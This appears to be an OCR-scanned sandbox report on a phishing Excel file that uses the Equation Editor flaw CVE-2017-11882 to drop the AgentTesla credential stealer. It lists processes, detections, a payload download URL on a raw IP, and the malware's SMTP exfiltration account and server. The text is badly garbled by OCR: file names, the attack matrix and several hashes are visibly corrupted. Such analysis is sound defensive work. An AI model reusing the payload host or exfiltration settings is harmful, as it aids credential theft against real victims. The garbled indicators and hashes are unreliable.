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Windows Analysis Report Request for Quotation (RFQ)....

Overview

General Information

Sample Request for Quotation
Name: (RFQ).xIsx

Analysis ID: 435319

MDS: 84c78e6dedef5f0..
SHAL: 3018a8907¢2558..
SHA256: 2ceab7f4le7edbc.

Tags: VelvetSweatshop

Infos: fiB Qb

wES HCR' HCA'
3
HI A 4

Most interesting Screenshot:

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2072 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5SFBOAOF93382ECD19F5F499A5CAA59F0)
. ﬁ EQNEDT32.EXE (PID: 2728 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)

Detection

F MALICIOUS 1

entTesla
Score: 100
Range: 0-100
Whitelisted: false
Confidence: 100%

Found malware configuration

Multi AV Scanner detection for subm...
Sigma detected: Droppers Exploiting...
Sigma detected: EQNEDT32.EXE c...
Sigma detected: File Dropped By EQ...
Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains very larg...
Drops PE files to the user root direc...
Injects a PE file into/a foreign proce...

Office equation editor drops PE file

%)
«Q
=3
4
c
=
(1
7]

. vbc.exe (PID: 2904 cmdline: 'C:\Users\Public\vbc.exe' MD5: E123306FCC7FD3C3BDA8993B4F6C43A2)
. vbc.exe (PID: 2884 cmdline: C:\Users\Public\vbc.exe MD5: E123306FCC7FD3C3BDA8993B4F6C43A2)

= cleanup

Malware Configuration

Threatname: Agenttesla

{
"Exfil Mode": "SMTP",

"SMTP Info": "ventas@mftecnologia.com.uyVentas.1us2.smtp.mailhostbox.com"

Yara Overview

Memory Dumps

Source

00000004.00000002.2140372454.00000000021

B6000.00000004.00000001.sdmp

00000005.00000002.2350857506.00000000004

02000.00000040.00000001.sdmp

00000005.00000002.2350857506.00000000004

02000.00000040.00000001.sdmp

00000005.00000002.2351385354.00000000023

18000.00000004.00000001.sdmp

00000005.00000002.2351385354.00000000023

18000.00000004.00000001.sdmp
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Rule

JoeSecurity_AntiVM_3

JoeSecurity_AgentTesla_1

JoeSecurity_AgentTesla_2

JoeSecurity_AgentTesla_1

JoeSecurity_CredentialSte
aler

Classification

Description

Yara detected
AntivM_3
Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
Credential Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Strings
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Source Rule Description Author Strings

Click to see the 8 entries

Unpacked PEs

Source Rule Description Author Strings

5.2.vbc.exe.400000.1.unpack JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla

5.2.vbc.exe.400000.1.unpack JoeSecurity_AgentTesla_2 Yara detected Joe Security
AgentTesla

4.2.vbc.exe.32e8200.4.unpack JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla

4.2.vbc.exe.32e8200.4.unpack JoeSecurity_AgentTesla_2 Yara detected Joe Security
AgentTesla

4.2.vbc.exe.32e8200.4.raw.unpack JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla

Click to see the 1 entries

Sigma Overview

Exploits: r-l

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Signature Overview

g

Click to jump to signature section

AV Detection:

=

Found malware configuration

Multi AV Scanner detection for submitted file

: “

Exploits:

]‘

System Summary:

Boot Survival:

‘]

Malware Analysis System Evasion:

=
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Yara detected AntiVM3

HIPS | PFW | Operating System Protection Evasion:

]‘

Stealing of Sensitive Information:

Yara detected AgentTesla

Yara detected AgentTesla

Remote Access Functionality:

Yara detected AgentTesla

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Control
Valid Windows Management  Path Process Disable or Modify oS File and Directory Remote Archive Exfiltration  Ingress Tool
Accounts  Instrumentation Interception  Injection Tools Credential  Discovery Services Collected  Over Other Transfer [{)(
Dumping Data[J @)  Network
Medium
Default Exploitation for Client Boot or Boot or Logon Deobfuscate/Decode  Credentials System Information Remote Data from Exfiltration Encrypted
Accounts Execution Logon Initialization Files or Information in Discovery Desktop Local Over Channel
Initialization  Scripts Registry Protocol System Bluetooth
Scripts
Domain At (Linux) Logon Script Logon Script Obfuscated Files or Security Query Registry SMB/Windows Email Automated Non-Standal
Accounts (Windows)  (Windows) Information Account Admin Shares Collection [ Exfiltration Port [
Manager
Local At (Windows) Logon Script Logon Script Software Packing NTDS Security Software Distributed Input Scheduled Non-
Accounts (Mac) (Mac) Discovery Component  Capture Transfer Application
Object Model Layer
Protocol
Cloud Cron Network Network Logon  Masquerading LSA Process Discovery @ SSH Keylogging  Data Application
Accounts Logon Script Script Secrets Transfer Layer

Size Limits  Protocol [ (

Replication  Launchd Rc.common Rc.common Virtualization/Sandbox Cached Virtualization/Sandbox VNC GUI Input Exfiltration  Multiband
Through Evasion Domain  Evasion Capture OverC2  Communical
Removable Credentials Channel
Media
External Scheduled Task Startup Startup Items Process DCSync Application Window  Windows Web Portal  Exfiltration  Commonly
Remote Items Injection Discovery Remote Capture Over Used Port
Services Management Alternative

Protocol
Drive-by Command and Scripting Scheduled  Scheduled Indicator Removal from Proc Remote System Shared Credential Exfiltration  Application
Compromise Interpreter Task/Job Task/Job Tools Filesystem Discovery Webroot API Hooking Over Layer Protoc

Symmetric

Encrypted

Non-C2

Protocol

Behavior Graph
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Screenshots

Thumbnails

Behavior Graph
0: 435310

Sample:
Startdate:
Architecture:
Score:

Reguest for Quotation (RFQ)xsx
1610612021

WINDOWS
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Vb exe

Hide Legend
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Request for Quotation (RFQ) - Microsoft Excel - Request for Quotation (RFQ)

Home | Insert

¥ cut

Ea copy v

- Format Painter
Clipboard

Pagelayout  Formulas  Data  Review  View
Calibri

B I U

Humber

Format

&2 Clear ~
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Editing
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1 Office
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Ready |
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Request for Quotation (RFQ).xIsx
Request for Quotation (RFQ).xIsx

Dropped Files

No Antivirus matches

Unpacked PE Files

Source

5.2.vbc.exe.400000.1.unpack
Domains
No Antivirus matches

URLs

Source

hitp:/fcrt.sectigo.com/SectigpRSADomainValidationSecureServerCA.crt0#

Copyright Joe Security LLC 2021

Detection
31%
35%
Detection Scanner
100% Avira
Detection
0%

Scanner
Metadefender

ReversingLabs

Label

HEUR/AGEN.1138205

Scanner

URL Reputation

Label Link
Browse

Document-
Office.Exploit.Heuristic

Link Download

Download File

Label Link

safe
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https://www.metadefender.com/#!/results/file/bzIxMDYxNmlCRTNDYlp3QVFYVGJNRHhid3g/regular/analysis

Source Detection Scanner Label Link

http://crt.sectigo.com/SectigopRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe
http://crt.sectigo.com/SectigopRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% URL Reputation safe
http://DynDns.comDynDNS 0% URL Reputation safe
http://DynDns.comDynDNS 0% URL Reputation safe
http://DPosyL.com 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% URL Reputation safe
http://https://sectigo.com/CPS0 0% URL Reputation safe
http://https://sectigo.com/CPS0 0% URL Reputation safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% URL Reputation safe
0.4.3.6.zip%tordir%%ha

http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% URL Reputation safe
0.4.3.6.zip%tordir%%ha

http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% URL Reputation safe
0.4.3.6.zip%tordir%%ha

http:/focsp.entrust.net03 0% URL Reputation safe
http:/focsp.entrust.net03 0% URL Reputation safe
http:/focsp.entrust.net03 0% URL Reputation safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
http://www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
http://www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
http://www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
http://MzDfYxjI5Zul5IFh.org 0% Avira URL Cloud safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
http://ocsp.sectigo.com0A 0% URL Reputation safe
http://ocsp.sectigo.com0A 0% URL Reputation safe
http://ocsp.sectigo.com0A 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/focsp.entrust.netOD 0% URL Reputation safe
http:/focsp.entrust.netOD 0% URL Reputation safe
http:/focsp.entrust.netOD 0% URL Reputation safe
http://192.227.228.121/dan.exe 0% Avira URL Cloud  safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe
http:ifservername/isapibackend.dll 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation

us2.smtp.mailhostbox.com 208.91.198.143 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public
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P Domain

Country Flag

208.91.198.143 us2.smtp.mailhostbox.com United States S

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:
Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer
e Attach to Office via COM
e Scroll down
e Close Viewer
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
12:14:01 API Interceptor 59x Sleep call for process: EQNEDT32.EXE modified
12:14:03 API Interceptor 960x Sleep call for process: vbc.exe modified

Copyright Joe Security LLC 2021

32.0.0 Black Diamond

435319

16.06.2021

12:13:16

CloudBasic

Oh 8m 25s

false

light

Request for Quotation (RFQ).xIsx

defaultwindowsofficecookbook.jbs

PUBLIC-DOMAIN-

Malicious

false

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET

46.2)
6

o o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default
Timeout
MAL

mal100.troj.spyw.expl.evad.winXLSX@6/18@1/2

Failed

e Successful, ratio: 2.4% (good quality ratio 1.7%)

e Quality average: 55.4%
e Quality standard deviation: 40.9%

e Successful, ratio: 93%
e Number of executed functions: 0
Number of non-executed functions: 0
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Joe Sandbox View | Context

IPs

Match
208.91.198.143

192.227.228.121

Domains

Match

us2.smtp.mailhostbox.com

ASN

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

> >
3 ]
@ 73
o o
Q, o,
2 2
@ @
-3 -3
(7] [
o o
3 3
=3 =
® ®
=z P
o o
3 3
® ®
c [=
a A
[ [

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Context

192.227.2
28.121/ewa
k.exe

192.227.2
28.121/mpa
.exe

192.227.2
28.121/razi.exe

192.227.2
28.121/ewa
a.exe

192.227.2
28.121/ewa
.exe

Context

208.91.199.223
208.91.199.224
208.91.199.225
208.91.198.143
208.91.199.225
208.91.199.225
208.91.198.143
208.91.199.223
208.91.198.143
208.91.198.143
208.91.199.223
208.91.198.143
208.91.199.224
208.91.198.143
208.91.198.143
208.91.199.225

208.91.198.143
208.91.199.224
208.91.199.225
208.91.199.225
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https://view.joesandbox.com/analysis/341527/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341527/html/none?idtype=webid
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid
https://view.joesandbox.com/analysis/341161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341161/html/none?idtype=webid
https://view.joesandbox.com/analysis/340970/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340970/html/none?idtype=webid
https://view.joesandbox.com/analysis/340489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340489/html/none?idtype=webid
https://view.joesandbox.com/analysis/340469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340469/html/none?idtype=webid
https://view.joesandbox.com/analysis/340347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340347/html/none?idtype=webid
https://view.joesandbox.com/analysis/340309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340309/html/none?idtype=webid
https://view.joesandbox.com/analysis/340047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340047/html/none?idtype=webid
https://view.joesandbox.com/analysis/340003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340003/html/none?idtype=webid
https://view.joesandbox.com/analysis/339951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339951/html/none?idtype=webid
https://view.joesandbox.com/analysis/339933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339933/html/none?idtype=webid
https://view.joesandbox.com/analysis/339817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339817/html/none?idtype=webid
https://view.joesandbox.com/analysis/339427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339427/html/none?idtype=webid
https://view.joesandbox.com/analysis/339762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339762/html/none?idtype=webid
https://view.joesandbox.com/analysis/339711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339711/html/none?idtype=webid
https://view.joesandbox.com/analysis/339618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339618/html/none?idtype=webid
https://view.joesandbox.com/analysis/339405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339405/html/none?idtype=webid
https://view.joesandbox.com/analysis/338708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338708/html/none?idtype=webid
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid
https://view.joesandbox.com/analysis/341659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341659/html/none?idtype=webid
https://view.joesandbox.com/analysis/341642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341642/html/none?idtype=webid
https://view.joesandbox.com/analysis/341527/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341527/html/none?idtype=webid
https://view.joesandbox.com/analysis/341524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341524/html/none?idtype=webid
https://view.joesandbox.com/analysis/341337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341337/html/none?idtype=webid
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid
https://view.joesandbox.com/analysis/341276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341276/html/none?idtype=webid
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid
https://view.joesandbox.com/analysis/341268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341268/html/none?idtype=webid
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid
https://view.joesandbox.com/analysis/341250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341250/html/none?idtype=webid
https://view.joesandbox.com/analysis/341247/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341247/html/none?idtype=webid
https://view.joesandbox.com/analysis/341161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341161/html/none?idtype=webid
https://view.joesandbox.com/analysis/341124/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341124/html/none?idtype=webid
https://view.joesandbox.com/analysis/341084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341084/html/none?idtype=webid

Match

PUBLIC-DOMAIN-REGISTRYUS

Associated Sample Name / URL SHA 256 Detection Link Context
_ Get hash malicious Browse e 103.50.162.153
_ Get hash malicious Browse e 208.91.199.223
_ Get hash malicious Browse e 43.225.55.205
_ Get hash malicious Browse e 208.91.199.224
_ Get hash malicious Browse e 208.91.199.225
_ Get hash malicious Browse e 119.18.54.94
_ Get hash malicious Browse e 208.91.199.225
_ Get hash malicious Browse e 208.91.199.225
_ Get hash malicious Browse e 207.174.21
3.181
_ Get hash malicious Browse e 208.91.199.225
_ Get hash malicious Browse e 208.91.198.143
_ Get hash malicious Browse e 208.91.199.223
_ Get hash malicious Browse e 208.91.199.225
_ Get hash malicious Browse e 103.53.42.17
_ Get hash malicious Browse e 208.91.198.143
_ Get hash malicious Browse e 208.91.199.223
_ Get hash malicious Browse e 208.91.198.143
_ Get hash malicious Browse e 208.91.199.224
_ Get hash malicious Browse e 208.91.198.143
_ Get hash malicious Browse e 208.91.198.143

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\Public\vbc.exe

Microsoft Cabinet archive data, 60080 bytes, 1 file

dropped

60080

7.995256720209506

true
768:078wIEbt8Rc7GHyP7zpxeiB9jTs6¢cX8ENCIXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:ABRc7GHYhUHSVNPOIhbz2ESBPNiUu+g4
6045BACCF49E1EBAOEG674945311A06E6

379C6234849EECEDE26FAD192C2EES9E0F0221CB
65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58

DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BAOA213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789AB
EB

false

moderate, very likely benign file

MSCF.....ccoo.. s | I [o FOURP R9b .authroot.stl.3..).4..CK..8T....c_.d... AK..].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne....{.<......Ab.<.X...sb....e........ dbu.3...0......
.X..00&Z....C...p0.}..2..0m }..Cj.9U..Jj.Y..#£L.\X..0.,...,.qu..]..(B.nE~Q...)..Gex....}.. f...zw.a..9+[.<0."..2 .s..ya..J....wd...O0!s.....WA..F6._f...6..0..2..7.$,... X k..&.
LE..g..uvt xc......C..2....P0$.Y..?u....20.9g3.>W0&.y.(....]. >... .R.q.wg*X......qB!.B....Z.4..>.R.M..0.8...=.8..Yas.......add..). w.4.&.7..2.&74.5]..w.j.._iK..||[.w.M.I<-
}%.C<tDX5\s._..I. GCQ.V.r.Y.oeoeen0...0.V)Tu> Zor L < R{AC.XN <AL fn Q& X.CS..e9. VL XR4.. L.......%g...<.}{....E8SI..E".h..*......ItVs.K.....
.3.9..°D..ei’....y...,.5....aSs".W...d...t.J..]....'u3..d]7..=e....[R!.......Q.%..@........ ga.v.~..g....{.IN.b]x..Zx.../;#}.f.)k.c9. {rmPt..z5.m=..¢..%.D#<+EX....1|.._F.

C:\Users\user\AppDatal\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\Public\vbc.exe

data

dropped

328

3.107650340985951

false
6:kKn3e8N+SkQIPIEGYRMY9z+4KIDA3RUeWIK1IMMx:P38kPIE99SNxAhUe30Mx
B55153CD3118FCB84E43CFF2DEG9853A
16F4420C0675672CBF2FCEEB8141FOB60AA8190C
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https://view.joesandbox.com/analysis/342008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342008/html/none?idtype=webid
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid
https://view.joesandbox.com/analysis/341758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341758/html/none?idtype=webid
https://view.joesandbox.com/analysis/341659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341659/html/none?idtype=webid
https://view.joesandbox.com/analysis/341642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341642/html/none?idtype=webid
https://view.joesandbox.com/analysis/341640/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341640/html/none?idtype=webid
https://view.joesandbox.com/analysis/341527/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341527/html/none?idtype=webid
https://view.joesandbox.com/analysis/341524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341524/html/none?idtype=webid
https://view.joesandbox.com/analysis/341407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341407/html/none?idtype=webid
https://view.joesandbox.com/analysis/341337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341337/html/none?idtype=webid
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341333/html/none?idtype=webid
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341310/html/none?idtype=webid
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341306/html/none?idtype=webid
https://view.joesandbox.com/analysis/341294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341294/html/none?idtype=webid
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341279/html/none?idtype=webid
https://view.joesandbox.com/analysis/341276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341276/html/none?idtype=webid
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341275/html/none?idtype=webid
https://view.joesandbox.com/analysis/341268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341268/html/none?idtype=webid
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341267/html/none?idtype=webid
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341263/html/none?idtype=webid

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

276AA084B48D396865C3AD7DEA8A297553A3567BC4B3D05619AD84B181F1B7C6

012A13EF743BECE71B4A7293F3BFFC74DC98E2F2DDOF3FED6311AA6337E135CBOD9BA5942A80C5052C721BEDCD9082324639849CC58ED91D77B228CC1356FF
E

false

low

Prveeer e Ve ceneseeee b & hititpan /et Ld oL weiin.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.
s.tatic/trustedr/en/authro.otstl.cab.."0.9.0.e.6.cfe3.4.cd7.1.:.0."..

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:
IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

860672

7.64738851637245

false

12288:1zlgfvquwaHp/S4RxwD4jvcQ8MfHVQViTa7zfl+D6 YtWOE:llaquPHpK4R2cj1eVbHfI30
E123306FCC7FD3C3BDA8993B4F6C43A2
B9247EC8B7158C490369961DOESABEE45C305C9D
AAB5FAC72AFC1C8F1BEACB75EB3FA27DFD18E6D1ES8E6AOCIF28222550C30AF7
DFD7602656D7E5B3B31360D7A200457502867EEC2ED673288DA882136051A6D1376B2741354B807989E5A298BBB370C54D71573DA82A51C55DC639EBF5B256BE
true

low

http://192.227.228.121/dan.exe

.L.IThis program cannot be run in DOS mode....$....... PE..L..°c.".

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

dropped

49744

7.99056926749243

true
768:wnuJ6pl4ax3egT1LYyelwBiPaaBsZbkCevl17dGOhRkJjsv+gZB/UcVaxZJ2LEzZ:YfplUeWNYF1UiPm+/qlsxZB/ZS
63A6CB15B2B8ECD64F1158F5C8FBDCC8

8783B949B93383C2A5AF7369C6EEBID5DD7A56F6
AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

false

moderate, very likely benign file

PNG........ IHDR.............LM....IDATX....T.]...G.;..nuww7.s..U..K.....Ih...gli.. K.t kW.i.>....B....EO..fa..e..++.P. sM....p..p-..y]..t17".D).....L..k.
...pzos.......6;,..H....U..a.9..1..$.... * KI<.\F..$.E..?7[B(.9.....H..l.....0AV..g.m...23..C..¢(.%...6..>.0.r..L..t1.Q-bE......)..... li.."..V.g\G..p.p.X[....*%hyt..@..J...~.p....
Jo> o~ LE L FIULGLLILOLI6.LIV.LL.@.. ... ... Jte...5Q.P.v;..B.C..m......0.N......q...b.....Q...c.m0T.e60B...p.v"...."........9..G....B}...../m...0g.. .8......6.$.%]p...9.....Z.a.sr.;B.a...m

> bl BLKL L AW?. B3 20 > e L VKL PG 25 WE LYY &020).6.D 2,06 U%.2t. .......6.0.D B A~ . M%" fG]b\ [........1..."......GCB.....J.
+....ra.ieZ.).Y..3.Q*m.rurb.5@.ev@@....gsb {g-..3j........ s.f.[8s$p.?3H......0"..6)...bD... A +....9.;$.. . Wi jBH..ItK

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\21A7353E.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office L4\EXCEL.EXE

